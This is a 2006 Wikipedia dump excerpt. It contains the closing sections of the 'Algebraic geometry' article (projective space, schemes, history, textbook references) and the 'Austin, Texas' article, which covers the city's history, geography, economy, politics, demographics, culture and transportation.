The remedy to this is to work in [[projective space]].  Projective space has properties analogous to those of a [[compact space|compact]] [[Hausdorff space]].    Among other things, it lets us make precise the notion of &quot;at infinity&quot; by including extra points.  The behavior of a variety at those extra points then gives us more information about it.  As it turns out, V(y=x&lt;sup&gt;3&lt;/sup&gt;) has a [[Mathematical singularity|singularity]] at one of those extra points, but V(y=x&lt;sup&gt;2&lt;/sup&gt;) is smooth.

While [[projective geometry]] was originally established on a [[synthetic geometry|synthetic]] foundation, the use of [[homogeneous coordinates]] allowed the introduction of algebraic techniques.  Furthermore, the introduction of projective techniques made many theorems in algebraic geometry simpler and sharper: For example, [[Bézout's theorem]] on the number of intersection points between two varieties can be stated in its sharpest form only in projective space.  For this reason, projective space plays a fundamental role in algebraic geometry.

== The modern viewpoint ==

The modern approach to algebraic geometry redefines the basic objects.  Varieties are subsumed in [[Alexander Grothendieck]]'s concept of a [[scheme (mathematics)|scheme]].  Schemes start with the observation that if finitely generated reduced k-algebras are geometrical objects, then perhaps arbitrary commutative rings should also be geometrical objects.  As such, schemes become both a more general algebro-geometric object, and a convenient language to describe those objects. This language of schemes has proved to be a valuable way of dealing with geometric concepts and has become a cornerstone of modern algebraic geometry.

== Notes and history ==
Algebraic geometry was largely developed by [[Islamic mathematics|Islamic mathematicians]], particularly the [[Persian people|Persian]] mathematician/poet [[Omar Khayyám]] (born [[1048]]). He was well known for inventing the general method of solving [[cubic equation]]s by intersecting a parabola with a circle. In addition he discovered the [[binomial expansion]], and authored criticisms of [[Euclid]]'s theories of parallels which made their way to [[England]], where they contributed to the eventual development of [[non-Euclidean geometry]]. Omar Khayyám also combined the use of [[trigonometry]] and [[approximation theory]] to provide methods of solving algebraic equations by geometrical means.

Algebraic geometry was further developed by the [[Italian school of algebraic geometry|Italian geometers]] in the early part of the 20th century.  Enriques classified [[algebraic surface|algebraic surfaces]] up to [[birational isomorphism]].  The style of the Italian school was very intuitive and does not meet the modern standards of [[rigor]].

By the [[1930s]] and [[1940s]], [[Oscar Zariski]], [[André Weil]] and others realized that algebraic geometry needed to be rebuilt on foundations of [[commutative algebra]] and [[valuation theory]].  Commutative algebra (earlier known as [[elimination theory]] and then [[ideal theory]], and refounded as the study of commutative rings and their [[module (mathematics)|modules]]) had been and was being developed by [[David Hilbert]], [[Max Noether]], [[Emanuel Lasker]], [[Emmy Noether]], [[Wolfgang Krull]], and others.  For a while there was no standard foundation for algebraic geometry.

In the [[1950s]] and [[1960s]] [[Jean-Pierre Serre]] and [[Alexander Grothendieck]] recast the foundations making use of the theory of [[sheaf theory]]. Later, from about 1960, the idea of [[scheme (mathematics)|schemes]] was worked out, in conjunction with a very refined apparatus of [[homological algebra|homological techniques]]. After a decade of rapid development the field stabilised in the [[1970s]], and new applications were made, both to [[number theory]] and to more classical geometric questions on algebraic varieties, [[singularity theory|singularities]] and [[moduli space|moduli]].

An important class of varieties, not easily understood directly from their defining equations, are the [[abelian varieties]], which are the projective varieties whose points form an abelian [[group (mathematics)|group]].
The prototypical examples are the [[elliptic curve]]s, which have a rich theory. They were instrumental in the proof of [[Fermat's last theorem]] and are also used in [[elliptic curve cryptography]].

While much of algebraic geometry is concerned with abstract and general statements about varieties, methods for effective computation with concretely-given polynomials have also been developed. The most important is the technique of [[Gröbner basis|Gröbner bases]] which is employed in all [[computer algebra]] systems.

==See also==
* [[List of publications in mathematics#Algebraic geometry| Important publications in algebraic geometry]]
* [[List of algebraic surfaces]]
* [[Root-finding algorithm]]

==References==

A classical textbook, predating schemes:

* [[W. V. D. Hodge|Hodge, W. V. D.]], and [[Daniel Pedoe|Pedoe, Daniel]], ''Methods of Algebraic Geometry: Volume 1'', [[Cambridge University Press]], 1994, ISBN 0521469007
* Hodge, W. V. D., and Pedoe, Daniel, ''Methods of Algebraic Geometry: Volume 2'', Cambridge University Press, 1994, ISBN 0521469015
* Hodge, W. V. D., and Pedoe, Daniel, ''Methods of Algebraic Geometry: Volume 3'', Cambridge University Press, 1994, ISBN 0521467756

Modern textbooks that do not use the language of schemes:

* Cox, Little, and O'Shea, ''Ideals, Varieties, and Algorithms (second edition),'' Springer, 1997, ISBN 0387946802
* Griffiths, Phillip, and Harris, Joe, ''Principles of Algebraic Geometry'', Wiley-Interscience, 1994, ISBN 0471050598
* Harris, Joe, ''Algebraic Geometry: A First Course'', [[Springer-Verlag]], 1995, ISBN 0387977163
* [[David Mumford|Mumford, David]], ''Algebraic Geometry I: Complex Projective Varieties'', 2nd ed., Springer-Verlag, 1995, ISBN 3540586571
* Reid, Miles, ''Undergraduate Algebraic Geometry'', Cambridge University Press, 1988, ISBN 0521356628
* Shafarevich, Igor, ''Basic Algebraic Geometry I: Varieties in Projective Space'', Springer-Verlag, 2nd ed., 1995, ISBN 0387548122

Textbooks and references for schemes:

* Eisenbud, David, and Harris, Joe, ''The Geometry of Schemes'', Springer-Verlag, 1998, ISBN 0387986375
* [[Alexander Grothendieck|Grothendieck, Alexander]], ''[[Éléments de géométrie algébrique]]'', Publications mathématiques de l'[[IHÉS]], vols. 4, 8, 11, 17, 20, 24, 28, 32, 1960, 1961, 1963, 1964, 1965, 1966, 1967
* Grothendieck, Alexander, ''Éléments de géométrie algébrique'', vol. 1, 2nd ed., Springer-Verlag, 1971, ISBN 3540051139
* Hartshorne, Robin, ''Algebraic Geometry'', Springer-Verlag, 1997, ISBN 0387902449
* Mumford, David, ''The Red Book of Varieties and Schemes: Includes the Michigan Lectures (1974) on Curves and Their Jacobians'', 2nd ed., Springer-Verlag, 1999, ISBN 354063293X
* Shafarevich, Igor, ''Basic Algebraic Geometry II: Schemes and Complex Manifolds'', Springer-Verlag, 2nd ed., 1995, ISBN 0387548122

On the internet:

* Kevin R. Coombes: [http://odin.mdacc.tmc.edu/~krc/agathos/ ''Algebraic Geometry: A Total Hypertext Online System'']
* [http://planetmath.org/encyclopedia/AlgebraicGeometry.html ''Algebraic geometry''] entry on [http://planetmath.org/ PlanetMath]
* [http://eqworld.ipmnet.ru/en/solutions/ae.htm ''Algebraic  Equations and Systems of Algebraic Equations''] at EqWorld: The World of Mathematical Equations

[[Category:Algebraic geometry|*]]

[[de:Algebraische Geometrie]]
[[es:Geometría algebraica]]
[[fr:Géométrie algébrique]]
[[ko:대수기하학]]
[[it:Geometria algebrica]]
[[ja:代数幾何学]]
[[pl:Geometria algebraiczna]]
[[pt:Geometria algébrica]]
[[fi:Algebrallinen geometria]]
[[zh:代数几何]]</text>
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  </page>
  <page>
    <title>Austin, Texas</title>
    <id>1998</id>
    <revision>
      <id>41898070</id>
      <timestamp>2006-03-02T13:30:18Z</timestamp>
      <contributor>
        <ip>67.101.68.116</ip>
      </contributor>
      <comment>/* Media and entertainment */  I think it's enough to leave the one mention of Sin City just in the sentence about Austin Studios. location shots weren't done around the city. just green screen</comment>
      <text xml:space="preserve">[[Image:AustinSkyline.jpeg|269px|thumb|right|Downtown Austin]]
{{Infobox City | official_name = Austin, Texas 
| nickname = Live Music Capital of the World, ATX 
| image_skyline =  
| image_flag = us-tx-au.gif 
| image_seal = austinlogo.jpg 
| image_map = TXMap-doton-Austin.PNG 
| map_caption = Location in the state of [[Texas]] 
| subdivision_type = [[Counties of the United States|County]] 
| subdivision_name = [[Travis County, Texas|Travis County]] 
| leader_title = [[Mayor]] 
| leader_name = Will Wynn 
| area_magnitude = 1 E9 
| area_total = 669.3 
| area_land = 651.4 
| area_water = 17.9 
| population_as_of = 2004 
| population_metro = 1,412,271 
| population_total = 681,804 ([[city limits|city proper]]) 
| population_density = 1,007.9 persons 
| timezone = [[Central Standard Time|CST]] 
| utc_offset = -6 
| timezone_DST = [[Central Daylight Time|CDT]] 
| utc_offset_DST = -5 
| latitude = 30°18'01&quot; N 
| longitude = 97°44'50&quot; W 
| website = [http://www.cityofaustin.org/ www.cityofaustin.org]
| footnotes =
}}
The City of '''Austin''' is the capital of the [[U.S. state]] of [[Texas]] and the [[county seat]] of [[Travis County, Texas|Travis County]].  According to the 2000 [[U.S. Census]], Austin has a population of 656,562 people, making it the fourth-largest city in Texas and the 16th largest in the [[United States]]. A 2004 U.S. Census estimate placed the population of the city at 681,804. Situated in the region of [[Central Texas]], the [[Texas metropolitan areas|Austin-Round&amp;nbsp;Rock metropolitan area]] is one of the fastest-growing in the United States and is home to an estimated population of 1.4 million as of 2004.

The first documented settlement of current day Austin occurred in 1835 and the site was named [[Battle of Waterloo|Waterloo]] in 1837. Waterloo was purchased by [[The Republic of Texas]] in 1839 and [[Mirabeau B. Lamar]] renamed the city in honor of [[Stephen F. Austin]]. Its original name is honored by local businesses such as Waterloo Ice House and [[Waterloo Records]]. Austin is situated on the [[Colorado River (Texas)|Colorado River]], and there are three man-made (artificial) lakes within the city limits: [[Town Lake]], [[Lake Austin]], and Lake Walter E. Long. Additionally, the foot of [[Lake Travis]] (including [[Mansfield Dam]]), is located within the city's limits. The city is also situated on the [[Balcones Fault]], which in much of Austin runs roughly the same route as the [[Texas State Highway Loop 1|MoPac expressway]].

Residents of Austin are called &quot;Austinites&quot; and include a heady mix of university [[professors]] and their students, [[politicians]] and [[lobbyists]]. Austin, home to several large sites for major technology corporations such as [[Apple Computer]], [[Dell Computer]], [[IBM]], [[Applied Materials]], [[AMD]], [[Samsung]], and [[Freescale]], is the center of a high-technology region known as '''Silicon Hills'''. It is also the self-proclaimed ''Live Music Capital of the World''.

==History==
===Early settlers===
For several hundred years before the arrival of [[European]] settlers, the area around present-day Austin was inhabited by a mixture of [[Tonkawa]], [[Comanche]], and [[Lipan Apache]] Indians, who fished and hunted along the creeks, including present-day [[Barton Springs]].

In the late 1700s the [[Spain|Spanish]] set up temporary missions in the area, later moving to [[San Antonio, Texas|San Antonio]].

===Anglo American settlers===
[[Image:Stephen f austin.jpg|180px|thumb|left|[[Stephen F. Austin]]]]

The first Anglo-American settlers arrived in the area in the 1830s when Texas was still part of [[Mexico]]. They founded the village of Waterloo along the banks of the Colorado River. According to local folklore, [[Stephen F. Austin]], the &quot;father of Texas&quot;, negotiated a peace treaty with the local Indians at the site of the present day [[Treaty Oak, Austin|Treaty Oak]] after several settlers were killed in raids.  According to local legend, Austin also negotiated a boundary treaty with the Indians that laid out the fledgling town's limits.

===Republic of Texas===
In 1839, Waterloo was chosen to become the capital of the new [[Republic of Texas]], and the town was renamed Austin in honor of Stephen F. Austin.

A [[grid plan]] for the new capital's streets was surveyed by [[Edwin Waller|Judge Edwin Waller]] (after whom [[Waller Creek]] was named). The grid survives nearly intact in present-day downtown Austin. The north-south streets of the grid were named for the rivers of Texas, following an east-west progression from [[Sabine River|Sabine]] Street to [[Rio Grande]] Street ([[Red River (Mississippi watershed)|Red River]] Street being &quot;out of order&quot; to the west of Sabine Street). The exception was the central thoroughfare [[Congress Avenue]], which leads from the far south side of town over the river to the foot of the hill where the new [[Texas State Capitol]] was to be constructed. The original north-south grid was bookended by West Avenue and East Avenue (now [[Interstate 35]]).

The east-west streets of the grid followed a progression uphill from the river and were named after trees native to the region, with [[Pecan|Pecan Street]] as the main east-west thoroughfare. The east-west streets were later renamed in a numbered progression, with Pecan Street becoming Sixth Street. The original tree-named streets survive in nostalgic names, including Pecan Street, which is the name of a locally-produced beer.

In October 1839, the entire government of the Republic of Texas arrived by oxcart from [[Houston, Texas|Houston]]. By the next January, the population of the town was 839.

Also in 1839, the Congress of the [[Republic of Texas]] set aside 40 acres (160,000 m²) of land near downtown Austin for a &quot;university of the first class&quot;. This land became the central campus of [[University of Texas at Austin|The University of Texas at Austin]] in 1883.

In 1842, Austin almost lost its status as capital city during the [[Texas Archive War]].  President [[Sam Houston]] had tried to relocate the seat of government from Austin to Houston, and then to [[Washington-on-the-Brazos]].  In the dead of night on [[December 29]], [[1842]], a group of men was sent to take the archives of Texas from Austin to Washington-on-the-Brazos. [[Angelina Eberly]] fired a cannon at the men, who made their escape, only to be caught by another group of men who returned the archives back to Austin.

===1845 to 1899===
After [[Texas]] was admitted to the [[United States|Union]] in 1845, two unsuccessful statewide elections were held that attempted to move the capital elsewhere.

From 1861 to 1865, Texas was part of the Confederacy.

[[St. Edward's University]] (then St. Edward's Academy) was founded in 1878 by Rev. [[Edward Sorin]], Superior General of the Congregation of Holy Cross, on South Austin farm land.

In September 1881, the city schools admitted their first public school classes. That same year, Tillotson Collegiate and Normal Institute, the forerunner of [[Huston-Tillotson University]], opened to the public.

In 1882 construction began on [[University of Texas at Austin|The University of Texas at Austin]] campus with the placement of the cornerstone of the Main Building. The university formally opened in 1883.

[[Image:Texas state capitol_1.jpg|250px|thumb|left|Texas State Capitol]]

The [[Texas State Capitol]] was completed in 1888 on the site specified in the 1839 plan. At the time it was billed as the &quot;seventh largest building in the world.&quot;

In 1891, the neighborhood of [[Hyde Park, Austin|Hyde Park]] was developed north of the University of Texas as a [[streetcar suburb]].

In 1893, the [[Great Granite Dam]] on the Colorado River was constructed, stabilizing the river's flow and providing hydroelectric power.

===1900 to 1969===
In 1910, the concrete Congress Avenue Bridge across the Colorado River opened, fostering development along South Congress Avenue.  The Littlefield Building at 6th and Congress downtown also opened this same year.

In 1911, a streetcar line was extended into South Austin, allowing for the development of [[Travis Heights]] in 1913.

In the 1930s, the Great Granite Dam was replaced by a series of seven dams built by the [[Lower Colorado River Authority]], which created the string of reservoirs that now define the river's course through Austin. [[Lyndon Baines Johnson]], then a member of the [[United States House of Representatives|House of Representatives]], was instrumental in getting the funding authorized for these dams.

On [[August 1]], [[1966]], Austin was terrorized by [[Charles Whitman]], who shot and killed 16 people with a high-powered rifle from the clocktower of the Main Building of the University of Texas. The event is considered the most traumatic in the city's history.

===1970 to 1989===
In the 1970s, Austin became a refuge for a group of [[Country music|Country and Western]] musicians and songwriters seeking to escape the music industry's corporate domination of [[Nashville, Tennessee|Nashville]]. The best-known artist in this group was [[Willie Nelson]], who became an icon for what became the city's &quot;alternate music industry.&quot;  The [[Armadillo World Headquarters]] gained a national reputation during the 1970s as a venue for these anti-establishment musicians as well as mainstream acts. In the following years, Austin gained a reputation as a place where struggling musicians could launch their careers in informal live venues in front of receptive audiences. This ultimately led to the present-day moniker the city uses of &quot;Live music capital of the world.&quot;

During the 1970s and 1980s, the city experienced a tremendous boom in development that temporarily halted with the [[Savings and Loan crisis]] in the late 1980s. The growth led to an ongoing series of fierce political battles that pitted preservationists against developers. In particular the preservation of Barton Springs, and by extension the [[Edwards Aquifer]], became an issue which defined the themes of the larger battles.

===1990 to present===
[[Image:Austin_skyline.jpg|right|200px|thumb|Downtown high-rises, viewed from the west]]
In the 1990s, the boom resumed with the influx and growth of a large technology industry. Initially the technology industry was centered around larger, established companies such as [[IBM]], but in the late 1990s, Austin gained the additional reputation of being a center of the [[dot-com boom]] and subsequent [[dot-com bust]]. Austin is also known for [[game development]], [[filmmaking]], and [[popular music]].

In 2000, Austin became the center of an intense media focus as the headquarters of presidential candidate and Texas Governor [[George W. Bush]]. Interestingly, the headquarters of his main opponent, [[Al Gore]], were in [[Nashville, Tennessee|Nashville]], thus re-creating the old country music rivalry between the two cities.

As Austin became known as a location for creative individuals, corporate retail branches also moved into town and displaced many 'home-grown' businesses.  To many long-time Austinites, this loss of landmark retail establishments has left a void in the city's culture. In response, &quot;[[Keep Austin Weird]]&quot; became a popular rallying cry and many Austinites have reacted with renewed support of local businesses.

==Geography==
According to the 2000 [[United States Census Bureau]], Austin is located at 30&amp;deg;18'01&quot; North, 97&amp;deg;44'50&quot; West (30.300474, -97.747247){{GR|1}}. According to the [[U.S. Census Bureau]], the city has a total area of 669.3 [[square kilometre|km&amp;sup2;]] (258.4 [[square mile|mi&amp;sup2;]]).  651.4 km&amp;sup2; (251.5 mi&amp;sup2;) of it is land and 17.9 km&amp;sup2; (6.9 mi&amp;sup2;) of it is water.  The total area is 2.67% water.

Austin is situated on the Colorado River, with three man-made (artificial) lakes wholly within the city limits:  [[Town Lake]], [[Lake Austin]], and Lake Walter E. Long. Additionally, the foot of [[Lake Travis]], including [[Mansfield Dam]], is located within the city's limits. Town Lake, Lake Austin, and Lake Travis are all on the Colorado River. The city is also situated on the [[Balcones Fault]], which, in much of Austin, runs roughly the same route as the [[Texas State Highway Loop 1|MoPac Expressway]]. The eastern part of the city is flat, whereas the western part and western suburbs consist of scenic rolling hills on the edge of the [[Texas Hill Country]].  Because the hills to the west are primarily [[limestone]] rock with a thin covering of topsoil, the city is subjected to frequent [[flash flood]]ing from the excessive runoff caused by [[thunderstorm]]s. To help control this runoff and to generate [[hydroelectric power]], the [[Lower Colorado River Authority]] operates a series of [[dam]]s that form the [[Texas Highland Lakes]]. The lakes also provide venues for [[boating]], [[swimming]], and other forms of [[recreation]] within several [[park]]s located on the lake shores.

A popular point of prominence in Austin is [[Mount Bonnell]]. At about 780 feet above sea level, it is a natural limestone formation overlooking [[Lake Austin]] on the Colorado River, approximately 200 feet below its summit.

==Economy==
Thousands of graduates each year from the engineering and computer science programs at The University of Texas provide a steady source of young, talented and driven employees that help to fuel Austin's technology sector. The metro Austin area also has much lower housing costs than, for example, [[Silicon Valley]]. As a result of the relatively high concentration of high tech companies in the region, Austin was strongly affected by the [[dot-com]] boom in the late 1990s and subsequent bust, although recovery is proceeding rapidly.

Austin's biggest employers include the State of Texas, The University of Texas, the SETON Healthcare Network, [[Dell, Inc.|Dell]], [[IBM]] and [[Freescale|Freescale Semiconductor]] (spun off from [[Motorola]] in 2004). Other high-tech companies in Austin include [[Apple Computer]], [[Vignette (software)|Vignette]], [[Advanced Micro Devices|AMD]], [[Intel]], [[Motive Inc]], [[Cirrus Logic]], [[Samsung]], [[National Instruments]], [[United Devices]] and [[Sun Microsystems]]. The proliferation of technology companies has led to the region's nickname, &quot;the Silicon Hills,&quot; (Austin was originally &quot;Silicon Gulch&quot;, but it seems that [[San Jose, California]] already has that distinction) and has spurred rapid development that has greatly expanded the city to the north and south.

Other globally well known companies, such as [[Hoover's, Inc.]], a business research and publishing company, are headquartered in the city.

==Government and politics==
{{seealso|List of current and former capital cities within U.S. states}}

===Law and government===
[[Image:Austin downtown.jpg|thumb|right|300px|Downtown Austin and the State Capitol as seen from the Congress Avenue Bridge over Town Lake]]

Austin is administered by a [[city council]] of seven members, each of them elected by the entire city, and by an elected [[mayor]] under the weak [[mayor-council government]] system of municipal governance. Council and mayoral elections are non-partisan, with a runoff in case there is no 50 percent majority winner. Austin remains an anomaly among large Texas cities in that the council is not elected by districts, though there has been a strong effort to change the election system to one of single districts.

===Politics===
The main political actors within Austin city politics are interest groups such as the pro-environmental [[Save Our Springs Alliance]], the [[Austin Police Association]], [[Austin Toll Party]] and the [[Austin Business Council]].

The political controversy that dominated the 1990s was the conflict between [[environmentalist]]s, strong in the city center, and advocates of urban growth, who tend to live in the outlying areas. The city council has in the past tried to mitigate the controversy by advocating [[smart growth]], but growth and environmental protection are still the main hot-button issues in city politics. Today conservatives in Austin argue that the cities various highway traffic problems are rooted in the denial of past highway/infrastructure development by political action committees who do not support highway expansion.

Austin is well known as a center for [[liberalism|liberal]] politics in a generally [[conservatism|conservative]] state, leading some Texas conservatives to deride the city as &quot;The People's Republic of Austin.&quot; Austin's suburbs, especially to the west and north, and several satellite municipalities, however, tend toward political conservatism.

As a result of the major party realignment that began in the 1970's, central Austin became a stronghold of the [[Democratic Party (United States)|Democratic Party]] while the suburbs tend to vote [[Republican Party (United States)|Republican]]. To a limited degree the division between Democratic and Republican precincts coincides with the aforementioned divisions between supporters of environmental regulations and supporters of urban growth. One consequence of this is that in the most recent redistricting plan, formulated by the Republican-majority legislature, the central city has been split among multiple sprawling districts that do not conform to any unifying economic, geographic or cultural theme. Many political observers have characterized the resulting districting layout as [[gerrymander|gerrymandering]].  The plan was challenged in court by Democratic and minority activists, but was upheld by a three-judge federal panel in late 2003; in December 2005, the [[United States Supreme Court]] accepted an appeal of this decision for argument on [[1 March]] [[2006]]. [http://www.statesman.com/search/content/news/stories/local/12/13REDISTRICT.html]

Overall, the city leans Democratic; in the 2004 presidential election, Senator [[John Kerry]] won a substantial majority of the votes in Travis County as illustrated in this [http://www.usatoday.com/news/politicselections/vote2004/countymap.htm pictorial of votes by-county]. Of Austin's six state legislative districts, three are strongly Democratic, one leans Republican, and two are swing districts presently held by Democrats. However, two of its three congressional districts are presently held by Republicans; this is largely due to the 2003 redistricting, which left Austin with no congressional seat of its own. Travis County was also the only county in Texas to reject [[Texas Constitutional Amendment Proposition 2]] &amp;#8212; effectively outlawing gay marriage and status equal or similar to it &amp;#8212; and did so by a wide margin (40% for, 60% against).

The combination of economic conservatism with social liberalism has also made Austin an active area for the [[Libertarian Party (United States)|Libertarian Party]].  Although the Libertarians remain a third party, the party is very active in the Austin area, and one of the past Libertarian presidential candidates, [[Michael Badnarik]], comes from Austin. Republican congressman Ron Paul is from the Texas Gulf Coast and used to represent neighboring counties surrounding Travis County.

==Demographics==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Austin &lt;br&gt;Population by year'''
|-
|1950 || 132,459
|-
|1960 || 186,545
|-
|1970 || 251,808
|-
|1980 || 345,496
|-
|1990 || 465,622
|-
|2000 || 656,562
|-
|2004 || 681,804
|}
As of the [[census]]{{GR|2}} of 2000, there are 656,562 people, 265,649 households, and 141,590 families residing in the city.  The [[population density]] is 1,007.9/km&amp;sup2; (2,610.4/mi&amp;sup2;).  There are 276,842 housing units at an average density of 425.0/km&amp;sup2; (1,100.7/mi&amp;sup2;).  The racial makeup of the city is 65.36% [[White (U.S. Census)|White]], 10.05% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.59% [[Native American (U.S. Census)|Native American]], 4.72% [[Asian (U.S. Census)|Asian]], 0.07% [[Pacific Islander (U.S. Census)|Pacific Islander]], 16.23% from [[Race (U.S. Census)|other races]], and 2.99% from two or more races.  30.55% of the population are [[Hispanic American]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 265,649 households out of which 26.8% have children under the age of 18 living with them, 38.1% are [[Marriage|married couples]] living together, 10.8% have a female householder with no husband present, and 46.7% are non-families. 32.8% of all households are made up of individuals and 4.6% have someone living alone who is 65 years of age or older.  The average household size is 2.40 and the average family size is 3.14.

In the city the population is spread out with 22.5% under the age of 18, 16.6% from 18 to 24, 37.1% from 25 to 44, 17.1% from 45 to 64, and 6.7% who are 65 years of age or older.  The median age is 30 years.  For every 100 females there are 105.8 males.  For every 100 females age 18 and over, there are 105.7 males.

The median income for a household in the city is $42,689, and the median income for a family is $54,091. Males have a median income of $35,545 vs. $30,046 for females. The [[per capita income]] for the city is $24,163.  14.4% of the population and 9.1% of families are below the [[poverty line]].  Out of the total population, 16.5% of those under the age of 18 and 8.7% of those 65 and older are living below the poverty line.  From the year 2000 to 2005, the median house price in Austin grew 34%.  In 2005, the median house price for the city is $136,278. Average rents in Austin in 2005 were $622 for a one bedroom apartment, and $805 for a two bedroom apartment [http://www.apartmentratings.com/rate/TX-Austin-Pricing.html].

==People and culture==
[[Image:Sixth Street Austin.jpg|thumb|right|When the sun goes down, the sights and sounds of the pubs, restaurants and nightclubs on 6th street come alive]]
Austin has a vibrant live [[Music of Austin|music scene]] (boasting more music venues per capita than any other U.S. city) revolving around many [[nightclub]]s on [[6th Street (Austin)|6th Street]] and an annual [[film]]/[[music]]/[[multimedia]] festival known as [[South by Southwest]]. The longest-running concert music program on American television, ''[[Austin City Limits]]'', is videotaped on the [[University of Texas at Austin]] campus. ''Austin City Limits'' and [[Waterloo Records]] run the [[Austin City Limits Music Festival]], an annual music and art festival held at [[Zilker Park]] in Austin. Other annual events include [[Eeyore's Birthday Party]] in April and [[Carnaval]] in February.

Austinites take great pride in being eccentric and celebrate the differences between themselves and other U.S. cities. &quot;[[Keep Austin Weird]]&quot; has become a local [[motto]] in recent years, featured on innumerable bumper stickers and t-shirts. This motto has not only been used in promoting Austin's eccentricity and diversity, but is also meant to bolster support of local and independent businesses. Another prime example of Austin's &quot;weirdness&quot; is [[Leslie Cochran]], a [[vagrant]] [[drag queen|transvestite]] who has run for mayor multiple times and, in Cochran's best showing, received 7.77% of the vote in [[2000]].

Famous Austin residents include cyclist [[Lance Armstrong]], businessman [[Michael Dell]], tennis player [[Andy Roddick]], actors [[Sandra Bullock]], [[Matthew McConaughey]] and [[Angela Bettis]], musicians [[Willie Nelson]] and [[Terry Bozzio]], cartoonist and filmmaker [[Mike Judge]], directors [[Terrence Malick]], [[Richard Linklater]] and [[Robert Rodriguez]], and [[science fiction]] writer [[Bruce Sterling]]. Former residents include [[Lyndon B. Johnson]] and [[George W. Bush]]. Austin was also the longtime home of the late blues guitarist [[Stevie Ray Vaughan]]. Rock singer [[Janis Joplin]] lived in Austin for several years and played one of her first gigs at Threadgill's (a local restaurant and bar).

==Architectural landmarks==
[[Image:Moonlight tower.jpg|thumb|60px|A moonlight tower]]

Buildings that comprise Austin's skyline are modest in height and somewhat spread out. The latter characteristic is due to a restriction that preserves the view of the Texas Capitol building from various locations around Austin. Austin's current tallest building, the Frost Bank Tower, opened in 2004 and stands at 515 feet.

The Congress Avenue Bridge houses the world's largest urban bat population, which has become a favorite with locals and tourists alike. In the summer, the colony has up to 1.5 million [[Mexican Free-tailed Bat]]s; in the winter they migrate to Mexico.

The iconic [[Pennybacker Bridge]], also known as the &quot;360 Bridge,&quot; crosses Lake Austin to connect north and south [[Texas Loop 360|Loop 360]].

At night, parts of Austin are lit with &quot;artificial moonlight.&quot;  Several [[moonlight tower]]s, built in the late 19th century and recognized as historic landmarks, illuminate the central part of the city.  The towers were prominently featured in the film ''[[Dazed and Confused (movie)|Dazed and Confused]]''. The &quot;Zilker Tree&quot; is a [[Christmas]] &quot;tree&quot; made of large lights strung from the top of the Moonlight Tower that stands in [[Zilker Park]]. The Zilker Tree is lit in early December along with the &quot;Trail of Lights,&quot; an Austin Christmas tradition.

==Education==
[[Image:Utcampus_night.jpg|250px|thumb|left|[[University of Texas at Austin|The University of Texas at Austin]]]]
Austin is home to [[University of Texas at Austin|The University of Texas at Austin]], the largest university in the state of Texas and flagship institution of [[University of Texas System|The University of Texas System]], also the largest state system of higher education in Texas. Other institutions of higher learning include [[Austin Community College]], [[Concordia University (Austin)|Concordia University]], [[Huston-Tillotson University]] and [[St. Edward's University]].

Most of the city is covered by the [[Austin Independent School District]]. Parts of Austin are served by other districts, including [[Round Rock Independent School District]], [[Pflugerville Independent School District]], [[Leander Independent School District]], and [[Eanes Independent School District]].

==Media and entertainment==
The University of Texas at Austin has an outstanding [http://rtf.utexas.edu/ Department of Radio-Television-Film] and, partly because of this, Austin has been the location of a number of movies, including ''[[Man of the House (2005 comedy film)|Man of the House]]'', ''[[Secondhand Lions]]'', ''[[Waking Life]]'', ''[[Spy Kids]]'', ''[[Dazed and Confused (movie)|Dazed and Confused]]'', ''[[Office Space]]'', ''[[The Life of David Gale]]'', ''[[Miss Congeniality]]'', ''[[Doubting Thomas]]'' and ''[[Slacker (movie)|Slacker]]''. In order to draw future film projects to the area, the [[Austin Film Society]] has converted several disused buildings from the now-defunct Mueller Airport into a state-of-the-art digital filmmaking center known as [[Austin Studios]]. Among the projects to have used facilities at Austin Studios are music videos by [[The Flaming Lips]], and feature films such as ''[[25th Hour]]'' and ''[[Sin City (film)|Sin City]]''.

Austin is home to several well-known directors, including [[Robert Rodriguez]], [[Richard Linklater]] and [[Tim McCanlies]]. It is also home to several other entertainers including [[Sandra Bullock]], [[Willie Nelson]], [[Shawn Colvin]] and [[Sara Hickman]]. Austin hosts the annual [[Austin Film Festival]], as well as the [[South by Southwest]] festival, which draw films of many different types from all over the world. In 2004 the city was first in ''Moviemaker Magazine's'' annual top ten cities to live and make movies. Austin also hosts the annual [[Austin City Limits Music Festival]], which attracts musical artists from around the world. The 2005 festival included Oasis, Coldplay and Franz Ferdinand.

[[MTV]] taped an [[Austin Season (The Real World)|Austin season]] of its hit [[reality television]] series ''[[The Real World]]'' in 2005.

Austin is also a center for the art of [[magic (illusion)|magic]]. Magician and actor [[Harry Anderson]] once called Austin home. Anderson's long-time collaborator Turk Pipkin is still a local resident. Magician [http://www.petertheadequate.com/ Peter the Adequate], who performs in [[Branson, Missouri]], developed a good deal of his unique style in Austin.  Austin is also home to Ron Cartlidge, noted expert on [[Houdini]] and avid magic collector. Cartlidge has documented Houdini's tours in Texas, including two appearances in Austin, in his book ''Houdini's Texas Tours - 1916 &amp;amp; 1923''.

==Sports==
Among the professional sports teams in Austin are the [[Austin Ice Bats]] of the [[Central Hockey League]], the [[Austin Wranglers]] of the [[Arena Football League]], and the [[Austin Toros]] of the [[National Basketball Development League|NBDL]].  The [[Round Rock Express]], affiliated with the [[Houston Astros]], are located in nearby [[Round Rock, Texas]] and play Triple-A baseball in the [[Pacific Coast League]]. Austin is also home to the [[Texas Longhorn Athletics|University of Texas Longhorns]] who recently won the 2005 [[College World Series]] (baseball) and 2005 [[NCAA Division I-A national football championship|National Championship]] in the [[Rose Bowl Game|Rose Bowl]] (football).

==Transportation==
Austin is served by these major highways: [[Interstate 35]]; U.S. Highways [[U.S. Highway 183|183]] and [[U.S. Highway 290|290]]; Texas State Highways [[Texas State Highway 45|45]], [[Texas State Highway 71|71]], [[Texas State Highway 130|130]], [[Texas State Highway Loop 1|Loop 1/MoPac]] and [[Texas State Highway Loop 360|Loop 360]].

[[Capital Metropolitan Transportation Authority]], or Capital Metro, provides public transportation to the city, primarily by bus. A [[regional rail|commuter rail]] plan, under the authority of Capital Metro, is underway and scheduled for completion in [[2008]]. The system &amp;#8212; which will be built on pre-existing freight rail lines &amp;#8212; will serve Downtown Austin, East Austin, Northwest Austin and Leander in the first phase.

Austin's main airport is [[Austin-Bergstrom International Airport]], located 5 miles (8 km) southeast of the city.

